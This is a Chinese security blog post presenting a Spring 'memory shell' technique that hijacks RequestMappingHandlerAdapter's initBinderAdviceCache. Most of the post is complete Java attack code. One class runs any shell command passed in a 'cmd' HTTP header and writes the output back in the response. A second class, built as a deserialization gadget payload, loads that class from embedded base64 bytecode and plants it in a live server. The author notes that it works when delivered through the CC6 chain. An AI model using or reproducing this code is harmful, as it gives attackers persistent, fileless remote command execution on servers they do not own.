无聊时发现的spring内存马

  1. 1. 前言
  2. 2. 编写

前言

无聊跟spring流程的时候看到的

org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter类里

这个组件的学习可以看这个文章https://cloud.tencent.com/developer/article/1525175

其实就在getDataBinderFactory这个方法里

1663592600415.png

他会遍历this.initBinderAdviceCache,然后到下面调用

controllerAdviceBean.resolveBean();

调试的时候发现this.initBinderAdviceCache的size默认是0(这个注解// Global methods first也很有意思hhh)

所以在里面添加一个我们恶意的ControllerAdviceBean就行了

编写

写的不是很好,代码功底稀烂

恶意ControllerAdviceBean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import org.springframework.beans.factory.BeanFactory;
import org.springframework.web.bind.annotation.ControllerAdvice;

import org.springframework.beans.factory.BeanFactory;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.method.ControllerAdviceBean;

import java.io.IOException;

import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class EvilControllerAdviceBean extends ControllerAdviceBean{

public EvilControllerAdviceBean(){
super("123");
}
public EvilControllerAdviceBean(Object bean) {
super(bean);
}

public EvilControllerAdviceBean(String beanName, BeanFactory beanFactory) {
super(beanName, beanFactory);
}

public EvilControllerAdviceBean(String beanName, BeanFactory beanFactory, ControllerAdvice controllerAdvice) {
super(beanName, beanFactory, controllerAdvice);
}

@Override
public Object resolveBean() {
try {
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String) getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
return "fmyyy";
}catch (Exception e){
e.printStackTrace();
}
return "fmyyy";
}
}

马子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Container;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardWrapper;
import org.springframework.core.Ordered;
import org.springframework.web.method.ControllerAdviceBean;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter;

import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.*;

public class Test3 extends AbstractTranslet {

public Test3() throws Exception {
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

java.lang.reflect.Field field = org.apache.catalina.core.ContainerBase.class.getDeclaredField("children");
field.setAccessible(true);
HashMap<String, Container> children = (HashMap<String, Container>) field.get(standardContext);

StandardWrapper wrapper = (StandardWrapper) children.get("dispatcherServlet");
java.lang.reflect.Field field2 = wrapper.getClass().getDeclaredField("instance");
field2.setAccessible(true);
Object obj = field2.get(wrapper);
java.lang.reflect.Field field3 = obj.getClass().getDeclaredField("handlerAdapters");
field3.setAccessible(true);
ArrayList obj2 = (ArrayList) field3.get(obj);
Class clazz = Class.forName("java.lang.ClassLoader");
Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAxQgAZgoANQBnCgA1AGgKADUAaQoAagBrCgBqAGwIAG0KAG4AbwgAcAcAcQoACgByBwBzCgB0AHUIAHYIAHcIAHgIAHkIAFMKAAoAeggAewgAVAcAfAoAdAB9CABWCAB+CgB/AIAKABYAgQgAggoAFgCDCACECACFCgAWAIYIAIcIAIgIAIkIAIoKAAwAiwgAjAcAjQoAjgCPCgCOAJAKAJEAkgoAJwCTCACUCgAnAJUKACcAlggAlwgAmAgAmQcAmgoAMgCbBwCcBwCdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABpMRXZpbENvbnRyb2xsZXJBZHZpY2VCZWFuOwEAFShMamF2YS9sYW5nL09iamVjdDspVgEABGJlYW4BABJMamF2YS9sYW5nL09iamVjdDsBABBNZXRob2RQYXJhbWV0ZXJzAQBEKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvc3ByaW5nZnJhbWV3b3JrL2JlYW5zL2ZhY3RvcnkvQmVhbkZhY3Rvcnk7KVYBAAhiZWFuTmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAC2JlYW5GYWN0b3J5AQAvTG9yZy9zcHJpbmdmcmFtZXdvcmsvYmVhbnMvZmFjdG9yeS9CZWFuRmFjdG9yeTsBAH4oTGphdmEvbGFuZy9TdHJpbmc7TG9yZy9zcHJpbmdmcmFtZXdvcmsvYmVhbnMvZmFjdG9yeS9CZWFuRmFjdG9yeTtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL0NvbnRyb2xsZXJBZHZpY2U7KVYBABBjb250cm9sbGVyQWR2aWNlAQA6TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9Db250cm9sbGVyQWR2aWNlOwEAC3Jlc29sdmVCZWFuAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAFjAQARTGphdmEvbGFuZy9DbGFzczsBAAFtAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFvAQACbTEBAARyZXNwAQADcmVxAQAJZ2V0V3JpdGVyAQAJZ2V0SGVhZGVyAQAGd3JpdGVyAQADY21kAQAIY29tbWFuZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQALY2hhcnNldE5hbWUBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAnAcAcQcAngcAcwcAfAcAWAcAmgEAClNvdXJjZUZpbGUBAB1FdmlsQ29udHJvbGxlckFkdmljZUJlYW4uamF2YQEAAzEyMwwANgA9DAA2AEEMADYARgcAnwwAoAChDACiAKMBADxvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5jb250ZXh0LnJlcXVlc3QuUmVxdWVzdENvbnRleHRIb2xkZXIHAKQMAKUApgEAFGdldFJlcXVlc3RBdHRyaWJ1dGVzAQAPamF2YS9sYW5nL0NsYXNzDACnAKgBABBqYXZhL2xhbmcvT2JqZWN0BwCeDACpAKoBAEBvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5jb250ZXh0LnJlcXVlc3QuU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzAQALZ2V0UmVzcG9uc2UBAApnZXRSZXF1ZXN0AQAdamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UMAKsAqAEAJWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QBABBqYXZhL2xhbmcvU3RyaW5nDACsAK0BAAdvcy5uYW1lBwCuDACvALAMALEAsgEABndpbmRvdwwAswC0AQADR0JLAQAFVVRGLTgMALUAsgEAA1dJTgEAAi9jAQAHL2Jpbi9zaAEAAi1jDAC2ALcBAAdwcmludGxuAQARamF2YS91dGlsL1NjYW5uZXIHALgMALkAugwAuwC8BwC9DAC+AL8MADYAwAEAAlxBDADBAMIMAMMAsgEABWZsdXNoAQAFY2xvc2UBAAVmbXl5eQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAMQANwEAGEV2aWxDb250cm9sbGVyQWR2aWNlQmVhbgEAM29yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL21ldGhvZC9Db250cm9sbGVyQWR2aWNlQmVhbgEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFnZXREZWNsYXJlZE1ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAAt0b1VwcGVyQ2FzZQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAD3ByaW50U3RhY2tUcmFjZQAhADQANQAAAAAABQABADYANwABADgAAAA1AAIAAQAAAAcqEgG3AAKxAAAAAgA5AAAACgACAAAAEQAGABIAOgAAAAwAAQAAAAcAOwA8AAAAAQA2AD0AAgA4AAAAPgACAAIAAAAGKiu3AAKxAAAAAgA5AAAACgACAAAAFAAFABUAOgAAABYAAgAAAAYAOwA8AAAAAAAGAD4APwABAEAAAAAFAQA+AAAAAQA2AEEAAgA4AAAASQADAAMAAAAHKisstwADsQAAAAIAOQAAAAoAAgAAABgABgAZADoAAAAgAAMAAAAHADsAPAAAAAAABwBCAEMAAQAAAAcARABFAAIAQAAAAAkCAEIAAABEAAAAAQA2AEYAAgA4AAAAVAAEAAQAAAAIKissLbcABLEAAAACADkAAAAKAAIAAAAcAAcAHQA6AAAAKgAEAAAACAA7ADwAAAAAAAgAQgBDAAEAAAAIAEQARQACAAAACABHAEgAAwBAAAAADQMAQgAAAEQAAABHAAAAAQBJAEoAAQA4AAAC8AAJAA0AAAGBuAAFtgAGEge2AAhMKxIJA70ACrYAC00sAQO9AAy2AA1OuAAFtgAGEg62AAhMKxIPA70ACrYAC00rEhADvQAKtgALOgQsLQO9AAy2AA06BRkELQO9AAy2AA06BrgABbYABhIRtgAIEhIDvQAKtgATOge4AAW2AAYSFLYACBIVBL0AClkDEhZTtgATOggZCAS2ABcZBwS2ABcZBxkFA70ADLYADToJGQgZBgS9AAxZAxIYU7YADcAAFjoKBr0AFjoLEhm4ABq2ABsSHLYAHZkACBIepwAFEh86DBIZuAAatgAgEiG2AB2ZABIZCwMSGFMZCwQSIlOnAA8ZCwMSI1MZCwQSJFMZCwUZClMZCbYAJRImBL0AClkDEhZTtgATGQkEvQAMWQO7ACdZuAAoGQu2ACm2ACoZDLcAKxIstgAttgAuU7YADVcZCbYAJRIvA70ACrYAExkJA70ADLYADVcZCbYAJRIwA70ACrYAExkJA70ADLYADVcSMbBMK7YAMxIxsAABAAABeAF5ADIAAwA5AAAAdgAdAAAAIgAMACMAFwAkACEAJQAtACYAOAAnAEQAKABPACkAWwAqAHEAKwCMACwAkgAtAJgALgClAC8AugAxAMAAMgDZADMA6QA0AO8ANQD4ADcA/gA4AQQAOgEKADsBRgA8AV4APQF2AD4BeQA/AXoAQAF+AEIAOgAAAI4ADgAMAW0ASwBMAAEAFwFiAE0ATgACACEBWABPAD8AAwBEATUAUABOAAQATwEqAFEAPwAFAFsBHgBSAD8ABgBxAQgAUwBOAAcAjADtAFQATgAIAKUA1ABVAD8ACQC6AL8AVgBDAAoAwAC5AFcAWAALANkAoABZAEMADAF6AAQAWgBbAAEAAAGBADsAPAAAAFwAAABFAAX/ANUADAcAXQcAXgcAXwcAYAcAXwcAYAcAYAcAXwcAXwcAYAcAYQcAYgAAQQcAYfwAIAcAYQv/AHQAAQcAXQABBwBjAAEAZAAAAAIAZQ==");
//上面恶意ControllerAdviceBean的字节码
Class targetClass = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "EvilControllerAdviceBean", code, 0, code.length);
ControllerAdviceBean evilControllerAdviceBean = (ControllerAdviceBean) targetClass.newInstance();
RequestMappingHandlerAdapter requestMappingHandlerAdapter = (RequestMappingHandlerAdapter)obj2.get(0);
Field field4 = requestMappingHandlerAdapter.getClass().getDeclaredField("initBinderAdviceCache");
field4.setAccessible(true);
LinkedHashMap linkedHashMap = (LinkedHashMap) field4.get(requestMappingHandlerAdapter);
Set<String> testSet = new HashSet<String>();
linkedHashMap.put(evilControllerAdviceBean,testSet);

}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

用cc6注入之后可以用

1663592911190.png